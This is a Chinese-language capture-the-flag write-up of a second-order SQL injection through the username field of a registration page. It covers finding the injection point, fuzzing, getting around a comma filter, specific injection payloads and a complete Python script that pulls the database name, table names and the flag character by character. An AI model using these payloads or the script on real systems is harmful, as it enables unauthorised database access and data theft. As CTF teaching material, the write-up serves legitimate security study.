sql注入流程:找到注入点,进行fuzz测试,根据fuzz测试结果绕过,查flag

发现,在register页面的username字段是可以回显的
为什么要在username字段测试注入点,而不是在邮箱或者密码?
因为我们能看到username的回显。
判断注入点
在用户名处输入
0' and '1

确定了存在注入
尝试对username字段进行fuzz测试
测试范围为所有的单字符(ascii值33-127)

长度为904的报文被过滤了,也就是逗号

目前看来,只过滤了逗号
逗号的绕过:from for绕过
substr(database(),1) -> substr(database() from 1 for 1)
payload如下
username: 0' + ascii(substr(database() from 1 for 1)) +'0
原因:
在注册界面,有三个字段因此我们猜测原句为
insert('邮箱','用户名','密码')
而用户名是可以存在注入,并且具有回显的
为什么要用 0?
ascii可以将字符转化为ascii的值,0+任何数字都等于原字符,用其他数字也是可以的
0附近的两个单引号是为了闭合原句的单引号,如下
insert('邮箱','0' + ascii(substr(database() from 1 for 1)) +'0','密码')

第二个payload为
0' + ascii(substr(database() from 2 for 1)) +'0

脚本思路:在register页面进行注册
账号就 111@163.com? 对?进行递增
用户名就是正常的盲注
密码就是 admin
注册好后,去login.php页面,拿邮箱和密码登录,然后获取到回显的用户名
利用chr()函数将数字转化为字母
脚本可以去wp里拿
- import requests
- import re
-
- register_url = "http://61.147.171.105:64712/register.php"
- login_url = "http://61.147.171.105:64712/login.php"
- database = ""
- table_name = ""
- column_name = ""
- flag = ""
- #获取数据库名
- for i in range(1,10):
- register_data = {
- 'email':'test@test'+ str(i),
- 'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i,
- 'password':123
- }
- r = requests.post(url=register_url,data=register_data)
- login_data = {
- 'email':'test@test'+ str(i),
- 'password':123
- }
- r = requests.post(url=login_url,data=login_data)
- match = re.search(r'\s*(\d*)\s*',r.text)
- asc = match.group(1)
- if asc == '0':
- break
- database = database + chr(int(asc))
- print('database:',database)
- #获取表名
- '''
- for i in range(1,20):
- register_data = {
- 'email':'test@test'+ str(i),
- 'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i,
- 'password':123
- }
- r = requests.post(url=register_url,data=register_data)
- print(r.text)
- login_data = {
- 'email':'test@test'+ str(i),
- 'password':123
- }
- r = requests.post(url=login_url,data=login_data)
- r.encoding = r.apparent_encoding
- print(r.text)
- match = re.search(r'\s*(\d*)\s*',r.text)
- asc = match.group(1)
- if asc == '0':
- break
- table_name = table_name + chr(int(asc))
- print('table_name:',table_name)
- '''
- #获取flag
- for i in range(1,100):
- register_data = {
- 'email':'test@test'+ str(i) + str(i),
- 'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i,
- 'password':123
- }
- r = requests.post(url=register_url,data=register_data)
- login_data = {
- 'email':'test@test'+ str(i) + str(i),
- 'password':123
- }
- r = requests.post(url=login_url,data=login_data)
- match = re.search(r'\s*(\d*)\s*',r.text)
- asc = match.group(1)
- if asc == '0':
- break
- flag = flag + chr(int(asc))
- print('flag:',flag)
因为用户名在html中是这么显示的
![]()
因此我们需要用到research函数结合正则匹配
- re.search(r'\s*(\d*)\s*', res_.text)
-
- \s匹配空白符
- \d匹配数字
python正则表达式re.search()怎么使用? | w3c笔记 (w3cschool.cn)
原因:group(n)匹配第n个括号内的值
上文中 group(1) 就是匹配到 (\d*)也就是我们要的数字
- import re
-
- content = "abc123def"
- rex_compile = re.compile("([a-z]*)([0-9]*)([a-z]*)")
- rex = rex_compile.search(content)
- print(rex.group())
- print(rex.group(0)) # group()和group(0) 一样匹配的是整体
- print(rex.group(1)) # 匹配第一个小括号的内容
- print(rex.group(2)) # 匹配第二个小括号的内容
- print(rex.group(3)) # 匹配第三个小括号的内容
由于用户名是有限制的,因此在跑表名的时候会因为这个问题导致失败,需要手工去跑